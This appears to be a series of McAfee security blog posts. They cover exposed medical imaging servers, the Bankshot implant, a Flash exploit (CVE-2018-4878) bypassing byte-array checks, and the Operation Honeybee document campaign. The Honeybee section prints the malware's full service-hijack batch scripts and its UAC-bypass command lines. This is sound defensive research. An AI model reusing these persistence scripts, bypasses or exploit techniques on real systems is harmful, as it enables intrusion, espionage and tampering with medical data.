Mar 12 2018

McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals

The nonperishable nature of medical data makes an irresistible target for cybercriminals. The art of hacking requires significant time and effort, encouraging experienced cybercriminals to plot their attacks based on the return they will see from their investment. Those who have successfully gained access to medical data have been well rewarded for their efforts. One seller stated in an interview that “someone wanted to buy all the … records specifically,” claiming that the effort had netted US$100,000.

While at a doctor’s appointment with my wife watching a beautiful 4D ultrasound of our unborn child, I noticed the words “saving data to image” flash on the screen. Although this phrase would not catch the attention of most people, given my research on how cybercriminals are targeting the health care industry, I quickly began to wonder why an ultrasound of our child would not instead save to a file. Intrigued, I decided to dig into the world of medical imaging and its possible security risks. The results were disturbing; ultimately, we were able to combine attack vectors to reconstruct body parts from the images and make a three-dimensional model.


Most hospitals or medical research facilities use PACS, for picture archiving and communication system, so that images such as ultrasounds, mammograms, MRIs, etc. can be accessed from the various systems within their facility, or through the cloud.

A PACS setup contains multiple components, including a workstation, imaging device, acquisition gateway, PACS controller, database, and archiving—as illustrated in the following graphic:

The basic elements of PACS infrastructure.

The imaging device creates a picture, such as an ultrasound or MRI, which is uploaded to an acquisition gateway. Because much of the imaging equipment in use by medical facilities does not align with security best practices, acquisition gateways are placed in the network to enable the digital exchange of the images. The acquisition gateway also often acts as the server connecting to the hospital’s information system (using the HL7 protocol) to enrich images with patient data.

The PACS controller is the central unit coordinating all traffic among the different components. The final component in the PACS infrastructure is the database and archiving system. The system ensures that all images are correctly stored and labeled for either short- or long-term storage.

Larger implementations might have multiple imaging devices and acquisition gateways in various locations, connected over the Internet. During our investigation, we noticed many small medical practices around the world using free, open-source PACS software, which was not always securely implemented.

To determine how many PACS servers are connected depends on on how you search using Shodan, a search engine for finding specific types of computers connected to the Internet. Some servers connect over TCP 104; others use HTTP TCP 80 or HTTPS TCP 443. A quick search revealed more than 1,100 PACS directly connected to the Internet, not behind a recommended layer of network security measures or virtual private networks (VPNs).

PACS systems connected to the Internet. Darker colors represent more systems.

Our eyebrows began to rise very early in our research, as we came across “IE 6 support only” messages or ActiveX controls and old Java support; many of these products are vulnerable to a plethora of exploits. For example, one of the PACS generated an error page when we changed one parameter. This is a very basic common way of testing if the application developers did proper input sanitation check to prevent attackers inserting code or generating failures that could reveal data about the application and can give clues to compromise the system.

A stack-trace error.

The stack-trace dump revealed the use of Apache Tomcat Version 7.0.13, which has more than 40 vulnerabilities.

When communicating with the DICOM (digital imaging and communications in medicine) port, TCP 104, it is possible to grab the banner of a server and get a response. As we queried, we recorded different responses. Let’s look at one:

\x02\x00\x00\x00\x00\xbe\x00\x01\x00\x00ANY-SCP         FINDSCU         \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x151.2.840.10008.!\x00\x00\x1b\x01\x00\x00\x00@\x00\x00\x131.2.840.10008.1.2.1P\x00\x00>Q\x00\x00\x04\x00\x00@\x00R\x00\x00"1.2.826.0.1.3680043.2.135.1066.101U\x00\x00\x0c1.4.16/WIN32


The FINDSCU string refers to the findscu tool, which can be used to query a PACS system. The DICOM standard defines three data models for the query/retrieve service. Each data model has been assigned with one unique ID for the C-FIND, one for the C-MOVE, and one for C-GET; so all together there are nine unique IDs, three for each model. In the preceding banner, we retrieved two of those IDs:

  • 2.840.10008.1.2.1: A transfer unique ID that defines the value “Explicit VR Little Endian” for data transfer
  • 2.826.0.1.3680043.2.135.1066.101: A value referring to the implementation class

Another value in the banner, “1.4.16/WIN32,” refers to the implementation version. In the context of the medical servers, this refers to the version of XAMPP, aka Apache with MariaDB, PHP, and Perl. This server was running Apache 2.4.9, which is publicly known to contain nine vulnerabilities.

In other cases, there was no need to search for vulnerabilities. The management interface was wide open and could be accessed without credentials.

A PACS interface.

What does this mean? It is possible to access the images.


In addition to expensive commercial PACS systems, open-source or small-fee PACS are available for small health care institutions or practices. As we investigated these systems, we found that our fears were well founded. One web server/client setup used the defaults “admin/password” as credentials without enforcing a change when the server is started for the first time. We found more problems:

  • Unencrypted traffic between client and server
  • Click jacking
  • Cross-site scripting (reflected)
  • Cross-site scripting stored as cross-site request forgery
  • Document object model–based link manipulation
  • Remote creation of admin accounts
  • Disclosure of information

Many of these are ranked on the list of OWASP Top 10 Most Critical Web Application Security Risks list, which highlights severe flaws that should be addressed in any product delivered to a customer.

We have reported the vulnerabilities we discovered to these vendors following our responsible disclosure process. They cooperated with us in investigating the vulnerabilities and taking appropriate actions to fix the issues.

But why should we spend so much time and effort in researching vulnerabilities when there are many other ways to retrieve medical images from the Internet?

Medical Image Formats

The medical world uses several image formats for different purposes. Each format has different requirements and works with different equipment, protocols, etc. A few format examples:

  • NifTi Neuroimaging Informatics Technology Initiative
  • Dicom Digital Imaging and Communications in Medicine
  • MINC Medical Imaging NetCDF
  • NRRD Nearly Raw Raster Data

Searching open directories and FTP servers while using several search engines, we gathered thousands of images—some of them complete MRI scans, mostly in DICOM format. One example:

An open directory of images.

The DICOM format originated in the 1980s, before cybersecurity was a key component. The standard format contains a detailed list of tags such as patient name, station name, hospital, etc. All are included as metadata with the image.

Opening an image with a text editor presents the following screen:

An example of the DICOM file format.

The file begins with the prefix DICM, an indicator that we are dealing with a DICOM file.  Other (now obscured) strings in this example include the hospital’s name, city, patient name, and more.

The Health Insurance Portability and Accountability Act requires a secure medical imaging workflow, which includes the removal or anonymizing of metadata in DICOM files. Researching the retrieved files from open sources and directories, we discovered most of the images still contained this metadata, such as in the following example, from which we extracted (obscured) personally identifiable information (PII).

Metadata discovered in a DICOM file.

Combining Vulnerabilities and Metadata

We combined possible vulnerabilities and the metadata to create a test scenario, installing information from a dummy patient, including an x-ray picture of a knee, to the vulnerable PACS server.

Our test patient record, followed by an x-ray of a knee. 

Using vulnerability information gathered in an earlier phase of research, we launched an attack to gain access to the PACS server. Once we had access, we downloaded the image from our dummy patient and altered the metadata of the image series, changing all references of “knee” to “elbow.”

Altered metadata of the test patient image.

We then saved the picture and uploaded it to the server. Checking the records of our dummy patient, we found our changes were successful.

Changes successfully updated.

Reconstructing Body Parts

In the medical imaging world, a large array of software can investigate and visualize images in different ways, for example, in 3D. We took our collection of images, and using a demo version of 3D software, we reconstructed complete 3D models of vertebrae, pelvis, knees, etc. and, in one case, we reconstructed a partial face.

Because we firmly believe in protecting privacy, the following example—a series of images from a pelvis—comes from a demo file that accompanies the software.

An example of a series of images.

After selecting areas of interest and adjusting the levels, we generated a 3D model of the pelvis:

A 3D model of the pelvis.

The application that generated the 3D model has a feature that allowed us to export the model in several data formats to be used by other 3D drawing programs. After the export, we imported the data into a 3D drawing program and converted the file to STL, a popular format for 3D objects and printers.

In short, we began with files from open directories, transformed them into a 3D model, and printed a tangible model using a 3D printer:

Our 3D model of a pelvis.


When we began our investigation into the security status of medical imaging systems, we never expected we would conclude by reconstructing body parts. The amount of old software used in implementations of PACS servers and the amount of vulnerabilities discovered within the software itself are concerning. We investigated relatively few open-source vendors, but it begs the question: What more could we have found if we had access to professional hardware and software?

Default accounts, cross-site scripting, or vulnerabilities in the web server could lead to access to the systems. Our research demonstrates that once inside the systems, the data and pictures can be permanently altered.

In May 2017, one report claimed that through artificial intelligence pictures could be studied to determine how long a person will live. What if criminals could obtain that information and use it for extortion?

We understand the need for quickly sharing medical data for diagnosis and treatment and for storing medical images. We advise health care organizations to be careful when sharing images on open directories for research purposes and to at least scrape the PII data from the images.

For organizations using a PACS, ask your vendor about its security features. Employ a proper network design in which the sharing systems are properly secured. Think not only about internal security but also about the use of VPNs and two-factor authentication when connecting with external systems.


For more on the health care industry follow @McAfee_Labs and catch up on all threats statistics from Q417 in the March Threats Report.

The post McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals appeared first on McAfee Blogs.

Mar 08 2018

Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant

This post was prepared with contributions from Asheer Malhotra, Charles Crawford, and Jessica Saavedra-Morales. 

On February 28, the McAfee Advanced Threat Research team discovered that the cybercrime group Hidden Cobra continues to target cryptocurrency and financial organizations. In this analysis, we observed the return of Hidden Cobra’s Bankshot malware implant surfacing in the Turkish financial system. Based on the code similarity, the victim’s business sector, and the presence of control server strings, this attack resembles previous attacks by Hidden Cobra conducted against the global financial network SWIFT.

In this new, aggressive campaign we see a return of the Bankshot implant, which last appeared in 2017. Bankshot is designed to persist on a victim’s network for further exploitation; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations.

Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document. The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency. The exploit, which takes advantage of CVE-2018-4878, allows an attacker to execute arbitrary code such as an implant.

Further investigation into this campaign and analysis of McAfee product telemetry shows that the infection occurred on March 2 and 3. The implant’s first target was a major government-controlled financial organization. It next appeared in another Turkish government organization involved in finance and trade. A further three large financial institutions in Turkey were victims of this attack. The implant has so far not surfaced in any other sector or country. This campaign suggests the attackers may plan a future heist against these targets by using Bankshot to gather information.

Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity. The malicious domain was created December 27, 2017, and was updated on February 19, only a few days before the implants began to appear. These implants are variations of earlier forms of Bankshot, a remote access tool that gives an attacker full capability on a victim’s system. This implant also contains functionality to wipe files and content from the targeted system to erase evidence or perform other destructive actions. Bankshot was first reported by the Department of Homeland Security on December 13, 2017, and has only recently resurfaced in newly compiled variants. The sample we analyzed is 99% similar to the documented Bankshot variants from 2017.

Bankshot implants hosted on

The Bankshot implant is attached to a malicious Word document with the filename Agreement.docx. The document appears to be an agreement template for Bitcoin distribution between an unknown individual in Paris and a to-be-determined cryptocurrency exchange. The author of this document is test-pc. It was created February 26 and was submitted from the Netherlands. The document contains an embedded Flash script that exploits CVE-2018-4878 and downloads and executes the DLL implant from

We discovered two more documents, written in Korean, that exploit the same vulnerability as Agreement.docx. These documents appear to be part of the same campaign and may have been used on different targets. These documents also communicated with to install Bankshot and also contain themes around cryptocurrency security.

Two Flash files exploit CVE-2018-4878.

  • 843c17b06a3aee22447f021307909890b68828b9 (February 25)
  • 343ebca579bb888eb8ccb811f9b52280c72e484c (February 25
Malicious documents in the attack.


Malicious document exploiting CVE-2018-4878.

The implants are downloaded via a Flash file embedded in the malicious document. They are executed when the victim views the document.

The malicious site embedded in the Flash file.
Implant directory contained in the malicious Flash file.

The implants (DLLs) are disguised as ZIP files and communicate with three control servers, two of them Chinese-language online gambling sites. These URLs can be found hardcoded in the implants’ code.

Hardcoded control server URLs.


Analyzing Bankshot

The sample (a2e966edee45b30bb6bb5c978e55833eec169098) is a Windows DLL that serves as a backdoor and contains a variety of capabilities. The malicious DLL is not a service DLL because it lacks ServiceMain(). To mask itself, it can run as a regular library loaded into a legitimate process.

The malware begins by creating a new thread from the DllMain() function to carry out its malicious activities:

New thread created in the malware’s DllMain() function.

The malware performs the following activities:

  • Builds imports by dynamically loading APIs
  • Decrypts strings needed for control server communications
  • Performs control server communications
  • Handles commands issued by the control server
  • Uninstalls self from the system

The malicious thread dynamically loads the APIs it needs at the beginning of its execution using LoadLibrary() and GetProcAddress(). APIs form the following libraries that are loaded at runtime:

  • dll
  • Ws2_32/wsock32.dll
  • dll
  • dll
  • dll
  • dll
A dynamic API loaded by the malware.


Based on packet capture analysis of previous implants from 2017, the following strings are used in control server communications:

  • Connection: keep-alive
  • Cache-Control: max-age=0
  • Accept: */*
  • Content-Type: multipart/form-data; boundary=
  • Content-Type: application/octet-stream
  • Accept-Encoding: gzip,deflate,sdch
  • Accept-Language: ko-KR -> Korean
  • Content-Disposition: form-data;name=”board_id”
  • Content-Disposition: form-data;name=”user_id”
  • Content-Disposition: form-data;name=”file1″; filename=”img01_29.jpg”
  • Content-Disposition: form-data;name=”file1″; filename=”my.doc”
  • Content-Disposition: form-data;name=”file1″; filename=”pratice.pdf”
  • Content-Disposition: form-data;name=”file1″; filename=”king.jpg”
  • Content-Disposition: form-data;name=”file1″; filename=”dream.avi”
  • Content-Disposition: form-data;name=”file1″; filename=”hp01.avi”
  • Content-Disposition: form-data;name=”file1″; filename=”star.avi”

User Agents

The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary:

Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36

Control Server Communications

The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data, such as:

Content-Disposition: form-data; name="board_id"

Content-Disposition: form-data; name="user_id"

Content-Disposition: form-data; name="file1"; filename="king.jpg"
Content-Type: application/octet-stream
  • board_id is a four-digit number that may be an identifier for a campaign ID. Based on analysis of previous samples, this is a unique identifier.
  • user_id is a hardcoded value in the malware binary that is sent to the control server. The username appears to be attacker specified and has occurred in 2017 Bankshot samples. This links the previous samples with this unique username.
  • filename is based on static analysis. This looks like a specific beacon to indicate that the malware is ready to receive commands.

The optional HTTP data with king.jpg looks like a beacon to inform the control server that the malware is ready to accept new commands:

  • Commands received from the control server are encoded DWORDs
  • After decoding, these DWORDs should be in the range 123459h to 123490h
Malware checking to make sure a received command is in the correct range.


The command index calculator and jump to the appropriate command.


The command index table and command handler address table. 

Implant Capabilities

Based on the responses received from the control server, the malware can carry out the following malicious tasks:

  • Recursively generate a list of files in a directory and send to the control server
  • Terminate a specific process. The process is identified by the control server sending the PID to the malware.
The capability to terminate a process.
  • Gather network addresses and operating system version
  • Execute arbitrary commands using “cmd.exe /c”
The capability to execute system commands.


Spawning arbitrary processes.
  • Create processes
  • Write responses from the control server to a file
  • Send information for all drives
  • Write data sent by the control server to a temporary file matching the file path pattern %temp%\DWS00*
  • Change the time of a file as specified by the control server
The malware changing the file time.
  • Create a process by impersonating a logged-on user


Getting a user token using WTSQueryUserToken.


A process created as logged-in user.
  • Gather the process time for all processes
Getting time information for all processes running on the system.
  • Gather domain and account names based on all running processes
Gathering account information from running processes.
  • Read a specified file’s contents and send the data to the control server
  • Write data sent by the control server to an existing file
  • Mark a file to be deleted on reboot
Marking a file for deletion on reboot.
  • Overwrite a file with all zeros and mark it for deletion on reboot
Wiping files with zeros and marking it for deletion on reboot. 
  • Delete files using the DeleteFile() API
  • Load an arbitrary library into its process space. This may be used to load additional downloaded components of the attack.
Loading an arbitrary library into its own process space. 

After every action is performed the malware sends a response to the control server indicating whether the action was successful.


The US government reports that Bankshot is used by Hidden Cobra to target multiple industries including financial organizations. This implant has been connected to a major Korean bank attack and is also known as Trojan Manuscript. That variant contained the capability to search for hosts related to the SWIFT network and the same control server strings as the variant we found targeting the Turkish financial sector. The implant does not conduct financial transactions; rather it is a channel into the victim’s environment, in which further stages of implants can be deployed for financial reconnaissance. The Bankshot implant was also observed in 2017 in documents appearing to come from Latin American banks.

Malicious document delivering the Bankshot implant in 2017.

These connections, combined with the implant’s nearly identical appearance to known variants, are a strong indication that we have uncovered a Hidden Cobra attack. Further, previous implants from 2017 contained bogus documents with financially themed content.

A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017). 


We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries). In this campaign, we see the adoption of a recent zero-day Adobe Flash vulnerability to get the implant onto the victim’s systems.

The campaign has a high chance of success against victims who have an unpatched version of Flash. Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal. This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017.

McAfee detects these threats as:

  • RDN/Generic Exploit
  • RDN/Generic.dx
  • Generic PWS.y
  • hbg
  • Exploit-CVE2018-4878

McAfee customers are also covered by McAfee Global Threat Intelligence Web Reputation classification, which rate these URLs as High Risk.


Indicators of Compromise

MITRE ATT&CK techniques

  • Exfiltration over command and control channel
  • Commonly used port
  • Command-line interface
  • Service execution
  • Automated collection
  • Data from local system
  • Process discovery
  • System time discovery
  • Credential dumping
  • Exploitation of vulnerability
  • Process injection
  • File deletion


  • 650b7d25f4ed87490f8467eb48e0443fb244a8c4
  • 65e7d2338735ec04fd9692d020298e5a7953fd8d
  • 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7
  • a2e966edee45b30bb6bb5c978e55833eec169098


  • 530hr[dot]com/data/common.php
  • 028xmz[dot]com/include/common.php
  • 168wangpi[dot]com/include/charset.php
  • Falcancoin[dot]io


The post Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant appeared first on McAfee Blogs.

Mar 02 2018

How Hackers Bypassed an Adobe Flash Protection Mechanism

The number of Flash Player exploits has recently declined, due to Adobe’s introduction of various measures to strengthen Flash’s security. Occasionally, however, an exploit still arises. On January 31, Kr-Cert reported a zero-day vulnerability, identified as CVE-2018-4878, being exploited in the field. (Adobe has released an update to fix this flaw.) We analyzed this vulnerability and found that it bypassed the byte array mitigation feature that was introduced to prevent “length corruption” attacks in Flash. This post will focus on how the exploit bypasses the length checks.


How the exploit works

This exploit has been used in targeted attacks and arrives as a Microsoft Office Excel file with an embedded Flash file. On opening the Excel file, the Flash file contacts a server and requests a key. Once the key is received, the file decodes another embedded Flash file, which is the actual exploit.

The key is 100 bytes. It decodes and loads the embedded file using the loader.loadbyte function:

Because the URL for the key was offline, we could not retrieve it. But the sample hash was available online on various sites. We analyzed the sample (SHA-256) 1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d.

This Adobe .SWF file contained multiple ActionScript 3 files as well as two embedded files in the BinaryData section, constituting the shellcode (marked in red in the following screen):

The exploit in action

When launched, the exploit checks if the system is running Windows. If so, it triggers the vulnerability.

As we see in the preceding image, the exploit takes several steps:

  • It creates a mediaplayer object
  • It initializes the drmManager property of mediaplayer to a specially crafted class based on the DRMOperationCompleteListener object nugamej.
  • The object nugamej is “freed,” but the drmManager points to the same memory location that nugamej used previously

If we take a close look at nugamej, we can see that it was created from the class Rykim, which implements the DRMOperationCompleteListener class. The Rykim class has various “uint” variables with values set as 0x1111, 0x2222, etc.:

These variables will be used later to access various addresses in the process space and other operations.

The exploit then causes an exception by using Localconnection().connect, creates the new variable “katyt” of the Rykim class, and implements the DRMOperationCompleteListener class. A time check calls the function “cysit”:

Cysit checks whether the newly allocated object’s a1 variable is 0x1111. If the value is not equal to 0x1111, then cysit stops the timer and proceeds with the exploitation.

The exploit creates another object, “kebenid” of the type “Qep,” which extends the byte array class. The length of kebenid is set to 512 bytes. This will be modified later to make a read-write primitive to gain unrestricted access to process memory.

Byte array checks to avoid corruption

We can see the structure of the byte array from

We can see that the byte array class has array, capacity, and length. In the past we have seen attackers corrupting the length variable to arbitrarily read and write to a memory location. Thus there is an extra check to ensure the integrity of the byte array. The check creates a secret value that is XORed with array/capacity/length and saved in the variables check_array/check_capacity/check_length.

When these variables are accessed, they are XORed with the secret key and their value is compared to the values stored in check_array/check_capacity/check_length. If they match, then we have genuine data; otherwise it will throw an error as in the following image:

Bypassing the checks

From the preceding code, we can retrieve the key by simply using any of the following calculations:

If the value of copyOnWrite is 0, then the key will be check_copyOnWrite.

If we look carefully, we see both the katyt and kebenid object variables point to same memory locations. This can be confirmed If we print and compare the variables of the two objects.

Comparing the following variables with the byte array structure, as previously mentioned, we get the following:

So if we change katyt.a24 and katyt.a25, that will actually change the byte array capacity and byte array length. Then we just need to find the XOR key and we can set it to any length we want.

Thus in this exploit the key is found using the logic Array ^ check_array = key.

Once the key is available, we can easily modify the byte array capacity and length to 0xFFFFFFFF and check_length, thus bypassing the byte array security mitigations, and we can read or write anywhere in the process space:

Code execution

The exploit uses the preceding read-write primitive, gained through the byte array object, to read memory and search for kernel32.dll and functions such as VirtualProtect, and CreateProcessA. Once the addresses of these functions are located, shellcode can be executed on the system. This technique is very well documented online. The following screen shot shows the code responsible for searching kernel32.dll, later locating the VirtualProtect API address as 0x75ff2c15:

The exploit later executes the shellcode and connects to a URL:

It also launches cmd.exe using CreateProcessA:

The shellcode also checks for some antimalware products:


Attackers constantly search for ways to bypass new protection mechanisms. This exploit shows one such way. As always, we advise readers to be careful when opening unknown attachments and documents received in email.

McAfee Network Security Platform customers are protected from this vulnerability through signature ID: 0x45223900.



SHA-256: 1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d


  • hxxp://
  • hxxp://
  • hxxp://


The post How Hackers Bypassed an Adobe Flash Protection Mechanism appeared first on McAfee Blogs.

Mar 02 2018

McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups

This post was written with contributions from Jessica Saavedra-Morales, Thomas Roccia, and Asheer Malhotra. 

McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks.

Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them.

The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.


On January 15, Advanced Threat Research discovered an operation using a new variant of the SYSCON backdoor. The Korean-language Word document manual.doc appeared in Vietnam on January 17, with the original author name of Honeybee.

Document properties.

This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON, which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics. The malicious Visual Basic script uses a unique key (custom alphabet) to encode data. We have seen this in previous operations using SYSCON. This key was also used in the Honeybee campaign and appears to have been used since August 2017.

Examples of decoy documents.

Several additional documents surfaced between January 17 and February 3. All contain the same Visual Basic macro code and author name as Honeybee. Some of the malicious documents were test files without the implant. From our analysis, most these documents were submitted from South Korea, indicating that some of the targeting was in South Korea. These Honeybee documents did not contain any specific lures, rather variations of a “not compatible” message attempting to convince the user to enable content.

We also observed a related malicious document created January 12 by the author Windows User that contained a different encoding key, but essentially used the same macro and same type of implant as we saw with the recent Honeybee documents. This document, “International Federation of Red Cross and Red Crescent Societies – DPRK Country Office,” drops an implant with the control server address, which resolves to the same server used by the implants dropped in the Honeybee case.

The directory contents of control server

The directory contents of, from Honeybee samples.


Log files of compromised machines from February 2018 Honeybee samples.

MaoCheng Dropper

Aside from finding the malicious documents, the Advanced Threat Research team discovered a Win32-based executable dropper. This dropper uses a stolen digital signature from Adobe Systems. This certificate is also used by another Korean-language malware compiled January 16 (hash: 35904f482d37f5ce6034d6042bae207418e450f4) with an interesting program database (PDB) path.

D:\Task\DDE Attack\MaoCheng\Release\Dropper.pdb

The malware is a Win32 executable that pretends to be a Word document based on its icon. This is a dropper for the same type of malware as observed with the other Word documents. This sample also dropped a decoy document with the author name Honeybee. This sample, however, contained a bug that interfered with the execution flow of the dropper, suggesting that the authors did not test the malware after code signing it.

The decoy document uses the cloud-based accounting software company Xero as a lure:

A decoy document from MaoCheng dropper.

Possible Operator

The Advanced Threat Research team has identified the following persona ( tied to this recent operation. Based on our analysis, the actor registered two free hosting accounts:, which refers to the popular South Korean search engine, and The email address was used to register a free account for a control server in all the implants described in our analysis. 

Technical Analysis

Let’s start with an overview of the attack:

We continue with the components involved in this operation.

The malicious Word file is the beginning of the infection chain and acts as a dropper for two DLL files. The Word file contains malicious Visual Basic macro code that runs when the document is opened in Word using the Document_Open() autoload function. The word file also contains a Base64-encoded file (encoded with a custom key) in it that is read, decoded, and dropped to the disk by the macro.

The Document_Open() subroutine implementing the malicious functionality.

The Visual Basic macro performs the following tasks:

  • Opens a handle to the malicious document to read the encoded CAB file
  • Decodes the CAB file and writes it to the disk at %temp%\

Encoded CAB file in the Word document.

Decoding and writing the CAB file to %temp%.

The decoded CAB file in the Visual Basic memory buffer.

The CAB file contains the following files and functions:

  • dll: A malicious DLL used to launch batch files (used with cliconfg.exe for UAC bypass). The DLL contains the following PDB path: D:\Task\MiMul\NTWDBLIB\Release\NTWDBLIB.pdb.
  • bat: A batch file to set up the service COMSysApp, for an x64 system
  • bat: A batch file to set up the service COMSysApp, for an x86 system
  • ini: A data file with Base64-encoded data for connecting to an FTP server. Credentials are encoded in the .ini file.

Decoded credential data contained in ipnet.ini. 

  • dll: The malicious DLL file run as a service (using svchost.exe). The DLL contains the following PDB path: D:\Task\MiMul\FTPCom_vs10\Release\Engine.pdb.
  • The macro then extracts the CAB file into %systemroo%\system32, using either wusa.exe or expand.exe (depending on the OS) to again bypass UAC prompts
  • Once the files have been extracted, the Visual Basic macro deletes the CAB file and runs the malicious NTWDBLIB.dll via cliconfg.exe (to gain privileges and bypass UAC protections)
  • Command lines used by the Visual Basic macro:
cmd /c wusa %TEMP%\ /quiet /extract:%SystemRoot%\System32 && del /f /q %TEMP%\ && cliconfg.exe
cmd /c expand %TEMP%\ -F:* %SystemRoot%\System32 && del /f /q %TEMP%\ && cliconfg.exe

A combination of NTWDBLIB.dll and cliconfg.exe are used to bypass UAC protections; this is a familiar attack on Windows. UAC bypass via DLL hijacking requires:

  • A Windows executable with the auto-elevate property in its manifest
  • A Windows executable in a secure directory (%systemroot%\system32)

The malicious NTWDBLIB DLL performs the simple task of setting up the malicious ipnet.dll as a service by running one of the two batch files contained in the CAB file (which is also dropped to %systemroot%\system32):

NTWDBLIB executing the installer batch files under the context of cliconfg.exe. 

The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll. The contents of the batch files vary depending on the OS (x64 vs x86):

install1.bat (x64)

@echo off
sc stop COMSysApp
sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\SysWOW64\svchost.exe -k COMSysApp"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\SysWOW64\ipnet.dll" /f
sc start COMSysApp
del /f /q %windir%\SysWOW64\install2.bat
del /f /q %windir%\SysWOW64\install1.bat

install2.bat (x86)

@echo off
sc stop COMSysApp
sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\System32\svchost.exe -k COMSysApp"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\system32\ipnet.dll" /f
sc start COMSysApp
del /f /q %windir%\System32\install1.bat
del /f /q %windir%\System32\install2.bat

The batch files perform these tasks:

  • Stop the service COMSysApp
  • Configure the service to autostart (to set up persistence on the system)
  • Modify registry keys to launch the DLL unser svchost.exe
  • Specify the malicious DLL path to be loaded into the svchost process.
  • Immediately restart the service
  • Remove the batch files to reduce the fingerprint on the system 

IPNet.dll runs as a service under svchost.exe.

The malicious DLL is also responsible for terminating the cliconfg.exe process and deleting the malicious NTWDBLIB.dll using:

cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL

All the following capabilities described are implemented by the malicious service DLL implant unless specified.  

Variant using North Korean Red Cross

Another variant (hash: 9e2c0bd19a77d712055ccc0276fdc062e9351436) of the malicious Word dropper uses the same Base64-decoding scheme with a different custom key. This document was created January 10.

Contents of the decoy document.

This variant also consists of two CAB files that are dropped to %temp%, depending on the OS (x86 or x64).

The key differences in this variant:

  • Two CAB files are encoded into the Word document in text boxes instead of being appended in the DOC file
  • There is one CAB file for an x86 system and another for an x64 system
  • This malware sample uses uacme.exe with dummy.dll to implement the UAC bypass
    • exe is the program vulnerable to the UAC bypass attack
    • dll runs install.bat to set up the service (same as NTWDBLIB.dll)
  • exe and dummy.dll may be either 64-bit or 32-bit binaries based on the OS. Ipnet.dll may also be either 64-bit or 32-bit.
  • The Visual Basic macro uses the following command line:
cmd /c expand %TEMP%\ -F:* %TEMP% && cd /d %TEMP% && del /f /q && uacme.exe
  • The control server credential information contained in the CAB files is different:

Decoded credential data contained in another ipnet.ini.

Similarities between this variant and the original malware sample:

  • Service name is the same: COMSysApp
  • The DLL and ini files contain the same functions as described elsewhere in this post

Data Reconnaissance

The following information is gathered from the endpoint and sent to the control server.

  • System info:
    • Computer name
    • System info using: cmd /c systeminfo >%temp%\temp.ini
    • List of currently running process using: cmd /c tasklist >%temp%\temp.ini


  • The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern:

From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt. For example, From <COMPUTER-NAME> (01-04 11-40-02).txt

  • All the text files are now packed into the archive (%temp%\
  • zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt
  • txt is uploaded to the control server

Additional Commands and Capabilities

The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords:

  • TO EVERYONE: Commands issued to all infected endpoints
  • TO <COMPUTERNAME>: Commands issued to endpoints matching the ComputerName

The following commands are supported by the malware implant:

  • cmd /c pull <filename>: Adds filename to, Base64 encodes, and uploads to control server
  • cmd /c chip <string>: Deletes current ipnet.ini config file. Writes new config info (control server connection info) to new ipnet.ini.
  • cmd /c put <new_file_name> <existing_file_name>: Copies existing file to new file name. Deletes existing file.
  • /user <parameters>: Executes downloaded file with parameters specified using CreateProcessAsUser
  • cmd /c <command>: Executes command on infected endpoint 


The actor behind Honeybee has been operating with new implants since at least November 2017 with the first known version of NTWDBLIB installer. Furthermore, based on the various metadata in both documents and executables, the actor is likely a Korean speaker.

The techniques used in the malicious documents such as the lure messages closely resemble what we have observed before in South Korea. The attacker appears to target those involved in humanitarian aid and inter-Korean affairs. We have seen this operation expand beyond the borders of South Korea to target Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada.
